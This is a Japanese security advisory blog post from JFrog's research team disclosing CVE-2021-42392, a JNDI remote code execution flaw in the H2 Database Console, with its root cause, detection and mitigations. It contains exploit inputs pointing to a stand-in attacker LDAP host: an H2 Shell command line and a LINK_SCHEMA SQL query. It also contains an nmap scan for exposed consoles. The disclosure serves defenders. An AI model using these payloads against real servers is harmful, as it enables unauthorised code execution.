再び JNDI の脆弱性! ー H2 データベースコンソールにおける未認証のリモートコード実行

JNDI Vulnerability - Unauthenticated RCE in H2 Database Console

プロローグ

JFrog セキュリティ リサーチチームは、H2 データベースコンソールの脆弱性を公開し、クリティカルな CVE-2021-42392 が発行されました。この問題は、Apache Log4j の悪名高い Log4Shell(JNDI リモートクラスローディング)と同じ要因から来るものです。

H2 は、非常に人気のあるオープンソースの Java SQL データベースで、データをディスクに保存する必要がない、軽量のインメモリ・ソリューションを提供するものです。このため、Spring Boot などの Web プラットフォームから ThingWorks などの IoT プラットフォームまで、さまざまなプロジェクトで人気のデータストレージソリューションとなっています。com.h2database:h2 パッケージは、最も人気のある Maven パッケージのトップ 50 の一部であり、およそ 7,000 のアーティファクトが依存しています。

(Java)JNDI に関連するあらゆるものが現在世の中が過敏な状況であるため、今回の H2 脆弱性に関する技術的な詳細説明に入る前に、危険になる前提や設定をまず明らかにします。

根本的な原因が類似したクリティカルな問題ではあるものの、次の要因により CVE-2021-42392 は、Log4Shell (CVE-2021-44228) ほどは広まらないと考えます。

  1. Log4Shellとは異なり、この脆弱性には「直接的な」影響範囲というものがあります。すなわち、最初のリクエストを処理するサーバ(H2コンソール)が、RCEの影響を受ける典型的なサーバとなります。脆弱なサーバを見つけやすいため、Log4Shellと比較して深刻度は低くなります。
  2.  H2 データベースのバニラ ディストリビューションでは、デフォルトで H2 コンソールは localhost のみを待ち受けするようになっており、この設定では安全です。この点は、Log4j のデフォルト設定でエクスプロイトが可能だった Log4Shell とは異なります。しかし、H2 コンソールはリモート接続を待ち受けするように簡単に変更できることに注意が必要です。
  3. 多くのベンダでは、たとえ H2 データベースを実行していても、H2 コンソールを実行していません。コンソール以外にもこの脆弱性をエクスプロイトするベクタはありますが、これらの他のベクタはコンテキストに依存するため、リモート攻撃者の難度は上がります。

とはいえ、LAN(最悪の場合 WAN)に公開されている H2 コンソールを実行している場合、この問題は極めてクリティカル(未認証のリモートコード実行)ですので、直ちにH2 データベースをバージョン 2.0.206 にバージョンアップすることが必要です。

また、多くの開発ツールが H2 データベースに依存し、特に H2 コンソールを公開していることが確認されています(いくつかの例はこのブログの後半に記載)。人気のあるリポジトリに悪意あるパッケージが存在するなど、開発者をターゲットとしたサプライチェーン攻撃という昨今の傾向は、開発者ツールがすべての合理的なユースケースに対して安全であることの重要性をより高めています。今回の修正が適用された後、多くの H2 依存の開発者用ツールもより安全になることが望まれます。

JFrog はなぜJNDIの脆弱性をスキャンするのか?

Log4Shell の脆弱性の混乱から私たちが得た重要なポイントの1つは、JNDI が広く使われているため、Log4Shell と同じ根本原因、つまり任意の JNDI ルックアップ URL を受け入れることによる影響を受けるパッケージがより多く存在するに違いないということでした。そこで、Log4Shell と同様の問題を見つけられるように、自動化された脆弱性検出フレームワークを調整し、javax.naming.Context.lookup 関数を危険な関数(sink  ー シンク ー 脆弱なポイント)として位置づけ、そのフレームワークによるスキャンを Maven レポジトリに集中して実施しました。

最初のスキャンでヒットしたものの一つが、H2 データベースのパッケージでした。JFrog はこの問題を確認した後、H2 のメンテナンスチームに報告しました。メンテナンスチームは速やかに新しいバージョンをリリースすることで問題を修正し、クリティカルな GitHub アドバイザリを作成しました。続いて、クリティカルな CVE-2021-4239 を発行しました。

このブログでは、H2 データベースで発見した、リモートでの JNDI ルックアップのトリガを可能にするいくつかの攻撃ベクタを紹介します。そのうちの1つは、認証されていないリモートコードの実行を可能にするものです。

脆弱性の根本原因 ー JNDI リモートクラスローディング

一言で言えば、根本的な原因は Log4Shell に類似します。H2 データベース フレームワークのいくつかのコードパスが、フィルタリングされず、そして攻撃者が操る URL を
javax.naming.Context.lookup 関数に渡すことで、リモートからのコードベースの読み込み(別名:Java コードインジェクション、リモートコード実行)が可能になります。

具体的には、org.h2.util.JdbcUtils.getConnection メソッドは、ドライバのクラス名とデータベースの URL をパラメータとして受け取ります。ドライバのクラスが javax.naming.Context クラスに割り当て可能な場合、このメソッドはそのクラスからオブジェクトをインスタンス化し、その lookup メソッドを呼び出します。

else if (javax.naming.Context.class.isAssignableFrom(d)) {
    // JNDI context
    Context context = (Context) d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource) context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}

javax.naming.InitialContext などのドライバ クラスと ldap://attacker.com/Exploit のようなURLを提供すると、リモートコードの実行につながります。

この攻撃の流れをまったく知らないという人はもはや少数派かもしれませんが、ここで視覚化しておきましょう。

JNDI Attack flow

CVE-2021-42392 の攻撃ベクタ

H2コンソール ー コンテキストに依存しない認証されていない RCE

この脆弱性の最も深刻な攻撃ベクタは、H2 コンソールを介したものです。

H2 データベースには Web ベースのコンソールが組み込まれており、データベースの管理を容易に行うことができます。このコンソールは、JAR を次のように実行すると、デフォルトで http://localhost:8082 にてサービスが開始されます。

java -jar bin/h2.jar

あるいは Windows では、スタートメニューから実行できます。

Windows start menu - H2 Console App

さらに、H2 を組み込みライブラリとして使用している場合は、Java からコンソールを起動することができます。

h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");
h2Server.start();

コンソールへのアクセスは、ログインフォームで保護されており、”driver “と “url “のフィールドの入力値が JdbcUtils.getConnection の対応するフィールドに渡されます。このフローでは、ユーザ名とパスワードが検証される前に URL 指定の検索(例では LDAP 検索)が実施されるため、認証されない RCE につながります。

Generic H2 - Login Form

デフォルトでは、H2 コンソールはローカルホストからしかアクセスできません。この設定は、コンソールの UI から変更することができます。

H2 Console Preferences UI

または、コマンドライン引数で -webAllowOthers を指定しても同様です。

しかし残念ながら、H2 データベースに依存するいくつかのサードパーティツールは、デフォルトでリモートクライアントに公開された H2 コンソールを実行することが確認されています。例えば、JHipster フレームワークも H2 コンソールを公開しており、デフォルトで webAllowOther プロパティを true に設定しています。

# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false

ドキュメントにあるように、JHipster フレームワークを使用してアプリケーションを実行する場合、デフォルトでは、H2 コンソールは JHipster Web インターフェースの /h2-console エンドポイントで利用できます。

JHipster web interface

H2 データベースは非常に多くのアーティファクトで使用されているため、H2 コンソールの脆弱なデプロイメントがどれだけ多く存在するかを定量的に示すことは困難です。しかしながら、パブリックな検索ツールによって WAN に面した脆弱なコンソールを見つけることが可能であるという事実からも、これが最も深刻な攻撃ベクタであると考えます。

H2Shell ツール ー コンテキスト依存のRCE

ビルトインの H2 Shell では、コマンドライン引数を操作できる攻撃者が、すでに述べたような脆弱な driverurl を指定できます。

java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

この攻撃ベクタは、リモートからの入力をこれらのコマンドライン引数にパイプするためのカスタムコードが必要なため、攻撃実現可能性は極めて低いと考えられます。もしこのようなカスタムコードが存在するならば、すなわち攻撃者がコマンドラインの一部を操作できる場合は、攻撃の可能性が高くなります。これは、パラメータインジェクション攻撃が必要であるという言い方もできます。このような攻撃の詳細については、Yamale のブログに詳しいです。

SQL ベースのベクタ ー 認証された (特権) RCE

脆弱な JdbcUtils.getConnection は、H2 データベースにデフォルトで用意されているいくつかの SQL ストアドプロシージャによっても呼び出される可能性があります。いくつかのプロシージャを確認しましたが、これらはすべて、認証された(DB)管理者のみが呼び出すことができるという、この攻撃ベクタの深刻度を下げる共通の性質を持っています。

例えば、LINK_SCHEMA ストアドプロシージャは、次のクエリで示されるように、脆弱な関数にドライバと URL の引数を直接渡します。

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

ストアドプロシージャは DB 管理者のみに制限されているため、最も可能性の高い攻撃ベクタは、個別の SQL インジェクションの欠陥を利用しての RCE エスカレーションだと考えられます。

CVE-2021-42392 に該当するかどうかは、どのようにして確認できるか?

ネットワーク管理者は、ローカルサブネットで H2 コンソールのオープンインスタンスを nmap でスキャンできます。

nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(バニラインストールのデフォルトのコンソールエンドポイントは「/」ですが、サードパーティのツールで展開された H2 コンソールでは異なる場合があります)

上記の実行の結果にて表示されたサーバは、すべてエクスプロイト可能である可能性が高いです。

前述のように、他の攻撃手段もありますが、それらを利用したリモートからのエクスプロイトの可能性はかなり低いです。それでもなお、H2 データベースをアップグレードすることをお勧めします(以下の「推奨修正案」を参照)。

JFrog はどのようにして CVE-2021-42392 を検出したのか?

この脆弱性は、データフロー分析(DFA)によって検出することができます。Java に組み込まれた HttpServlet.doGet/doPost メソッドをユーザの入力ソース(具体的には1番目の req 引数)として定義し、前述の javax.naming.Context.lookup メソッド(JNDIルックアップを実行する)を危険な関数/シンクとして定義します。

このケースのデータフローは、一部のクラスフィールドのトレースが必要ですが、かなり単純です。以下の赤色で示された変数は、トレースされたデータを表します。

CVE-2021-42392 - traced data

CVE-2021-42392 の推奨修正案は何か?

H2 コンソールを直接使用していない場合でも、 バージョン 2.0.206 へのアップグレードを推奨します。これは、他の攻撃ベクタが存在し、そのエクスプロイトの可能性を確認するのが困難である場合があるためです。

バージョン 2.0.206 では、JNDI の URL を(ローカルの)java プロトコルのみを使用するように制限し、つまりはリモートの LDAP/RMI クエリを拒否することで CVE-2021-42392 を修正しています。これは、Log4j 2.17.0 の修正と同じです。

CVE-2021-42392 はどのようにして緩和可能か?

この脆弱性の最善の対策は、H2 データベースをアップグレードすることです。

H2 のアップグレードがすぐにはできないベンダ向けに、次の緩和策を提案します。

  1. Log4Shell の時と同様、新しいバージョンの Java は、JNDI 経由でリモートコードベースを単純にロードしないように修正されています(trustURLCodebase による)。この緩和策を有効にするために Java(JRE/JDK)のバージョンをアップグレードすることを推奨します。
    この緩和策は、次のバージョンの Java(またはそれ以降のバージョン)でデフォルトで有効です。

    • 6u211
    • 7u201
    • 8u191
    • 11.0.1

    ただし、この緩和策は完璧ではありません。それぞれの「ガジェット」クラスがクラスパスに含まれている限り、シリアライズされた「ガジェット」Java オブジェクトを LDAP で送信することで回避することができるからです(H2 データベースを実行するサーバによって異なります)。詳しくは、Log4Shell ブログの付録B 内「ローカル ガジェット クラスを持つシリアライズされたJavaオブジェクトの使用」をご覧ください。

  2. H2 コンソールサーブレットを(スタンドアロンの H2 Web サーバを使用せずに) Web サーバに配置する場合、特定ユーザのみがコンソールページにアクセスできるようにセキュリティ制約を追加できます。適切な設定例はこちらをご覧ください

謝辞

この問題を検証し、タイムリーに修正し、責任を持ってセキュリティアドバイザリを作成してくれた H2 データベースのメンテナンスチームに感謝します。

結論

結論として、CVE-2021-42392 の悪用の可能性を回避するために、H2 データベースを最新のバージョンにアップグレードすることを強くお勧めします。

JFrog セキュリティリサーチチームは、責任ある情報公開という目的と、JFrog Xray のお客様のために将来のゼロデイ検出能力の向上という目的の双方の達成のために、同様の JNDI 脆弱性を継続的にスキャンしています。

JFrog の知る限り、CVE-2021-42392 は Log4Shell 以降に公開された最初の JNDI 関連の脆弱性ですが、これが最後ではないと思われます。

このブログでは、将来の攻撃からソフトウェアのサプライチェーンを守るために役立つ情報や技術的な分析情報を提供していきます。

その間、 JFrog プラットフォームを使用することで、ソフトウェアサプライチェーンにおける Log4j の脆弱性をどう検出し、影響をどう緩和できるのかをぜひご体験ください。